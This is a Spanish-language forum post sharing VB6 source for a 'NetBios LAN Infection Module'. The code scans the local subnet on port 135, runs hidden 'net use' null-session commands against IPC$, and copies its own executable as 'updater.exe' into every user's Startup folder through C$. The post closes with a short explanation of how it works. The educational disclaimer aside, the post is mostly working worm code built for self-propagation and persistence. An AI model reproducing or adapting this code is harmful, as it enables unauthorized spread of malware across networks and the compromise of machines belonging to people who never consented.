Alguien ha pedido como hacer que nuestra aplicación hecha en VB6 infecte todos los equipos de una LAN de forma automática? Bien, aquí tienes un sencillo módulo que permite hacer tal cosa.
Para ello me he aprovechado de las flaquezas del protocolo NetBios, así como el poder de las sesiones nulas al IPC$ para infectar una LAN.
Este código es algo peligroso y sólo lo publico como prueba de concepto, el fin de este código es puramente educativo y didáctico, cualquier otro fin que le podáis dar será calificado como ilegal y el autor no se responsabilizará de los efectos causado por él. Para probar esta código es necesario hacerlo bajo unas estrictas medidas de seguridad y bajo un entorno de prueba. Prohibido usarlo en redes de trabajo reales.
sin más que añadir... aquí lo tenéis.
Código
'##############################################' '# #' '# NetBios LAN Infection Module - version 1.0 #' '# #' '# Made by ||MadAntrax|| #' '# Date: 14/jul/07 #' '# #' '# Happy Coding... ;D #' '##############################################' Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Dim WS As CSocketMaster Sub Main() Set WS = New CSocketMaster 'Modulo Winsock de CSocketMaster Dim SelfIP As String 'Nuestra propia IP de la LAN Dim SubNet As String 'Nuestra SubRed, ejemplo: 192.168.1.X Dim SubNetArray As String 'Almacenamos los Hosts de la LAN que son vulnerables Dim BufferIP() As String 'Almacenamos los octetos de nuestra IP SelfIP = WS.LocalIP 'Obtenemos nuestra IP de la LAN BufferIP = Split(SelfIP, ".") 'Partimos los octetos en un Array If UBound(BufferIP) = 3 Then SubNet = BufferIP(0) & "." & BufferIP(1) & "." & BufferIP(2) 'Obtenemos nuestra SubRed: 192.168.1.X SubNetArray = GetAliveHosts(SubNet, BufferIP(3)) 'Obtenemos los Hosts que son vulnerables a NetBios If SubNetArray <> "0" Then 'Comprobamos que hay Hosts vulnerables en nuestra LAN Call GetPrivilegesOnSubNet(SubNet, SubNetArray) 'Obtenemos privilegios sobre los Hosts vulnerables gracias a IPC$ DoEvents 'Esperamos... Call InfectSubnet(SubNet, SubNetArray) 'Infectamos los Hosts vulnerables gracias a C$ End If End If End Sub 'Fin del Código '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' 'Función que almacena en un array el último octeto de la dirección IP de 'todos los Hosts de la LAN que son vulnerables a NetBios ' 'Ejemplo: 'Supongamos que encontramos estos Hosts ' 192.168.1.5 ' 192.168.1.10 ' 192.168.1.128 ' 192.168.1.200 ' 'Esta función devuelve: "5,10,128,200" ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Function GetAliveHosts(ByVal SubNet As String, ByVal MyHost As String) As String Dim AliveHosts As String 'Array donde se almacenan los Hosts vulnerables AliveHosts = "" WS.Protocol = sckTCPProtocol 'Establecemos el protocolo en TCP For i = 1 To 254 'Bucle desde X.X.X.1 hasta X.X.X.254 If WS.State <> sckClosed Then WS.CloseSck 'Si el Socket no está cerrado, lo cerramos para evitar errores. DoEvents 'Esperamos... WS.Connect SubNet & "." & i, 135 'Nos conectamos a todos los Hosts de la LAN al puerto 135 TCP (NetBios) Sleep 500 'Esperamos 1/2 Segundo... If WS.State = sckConnected And i <> MyHost Then 'Si el Hosts es vulnerable y el Host no es MiPC entonces... AliveHosts = AliveHosts & i & "," ' añadimos el octeto del Host en el Array End If 'End If Next i If Len(AliveHosts) > 0 Then 'Si hemos encontrado al menos 1 Host vulnerable... AliveHosts = Left(AliveHosts, Len(AliveHosts) - 1) ' quitamos el último caracter del Array (siempre es una ",") para evitar errores. GetAliveHosts = AliveHosts ' devolvemos el Array como valor de retorno Exit Function ' finalizamos esta función End If 'End If GetAliveHosts = "0" 'Si no hemos encontrado ningún Host vulnerable en la LAN, devolvemos "0" End Function ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' 'Función que aprovecha el bug del IPC$ para establecer sesión nula (Null Session) 'en todos los Hosts de la LAN que son vulnerables a NetBios ' 'Ejemplo: 'Supongamos que encontramos estos Hosts ' 192.168.1.128 ' 192.168.1.200 ' 'Esta función ejecuta: ' net use \\192.168.1.128\ipc$ "" /user:"" ' net use \\192.168.1.200\ipc$ "" /user:"" ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Function GetPrivilegesOnSubNet(ByVal SubNet As String, ByVal SubNetArray As String) Dim tmpArray() As String Dim tmpIP As String tmpArray = Split(SubNetArray, ",") For i = 0 To UBound(tmpArray) tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\ipc$ " Shell "net use " & tmpIP & Chr(34) & Chr(34) & " /user:" & Chr(34) & Chr(34), vbHide Next i 'No es necesario comentar esta función, solo hace un bucle y ejecuta una shell End Function ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' 'Función que copia nuestro ejecutable en la carpeta INICIO de todos los usuarios 'de los Hosts vulnerables a NetBios, para ello utiliza C$ ' 'Ejemplo: 'Supongamos que encontramos estos Hosts ' 192.168.1.128 ' 192.168.1.200 ' 'Esta función ejecuta: ' copy "MiRuta\MiEjecutable.exe" "\\192.168.0.128\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\update.exe" ' copy "MiRuta\MiEjecutable.exe" "\\192.168.0.200\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\update.exe" ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Function InfectSubnet(ByVal SubNet As String, ByVal SubNetArray As String) Dim tmpArray() As String Dim tmpIP As String tmpArray = Split(SubNetArray, ",") For i = 0 To UBound(tmpArray) tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio" Shell "copy " & Chr(34) & App.Path & "\" & App.EXEName & ".exe" & Chr(34) & " " & Chr(34) & tmpIP & "\updater.exe" & Chr(34), vbHide Next i 'No es necesario comentar esta función, solo hace un bucle y ejecuta una shell End Function
Que hace este código?
Primero obtiene nuestra IP y toma por defecto que se trata de una red de clase C (255.255.255.0), a partir de aquí crea un bucle desde:
X.X.X.1 hasta X.X.X.254 he intenta conectar al puerto 135 de TCP (NetBios), si lo consigue entonces establece una sesión nula (net use X.X.X.128ipc$ "" /user:"") para luego copiarse en la carpeta inicio de todos los usuarios bajo la unidad C$
Dudas, comentarios, sugerencias, criticas.. aquí porfavor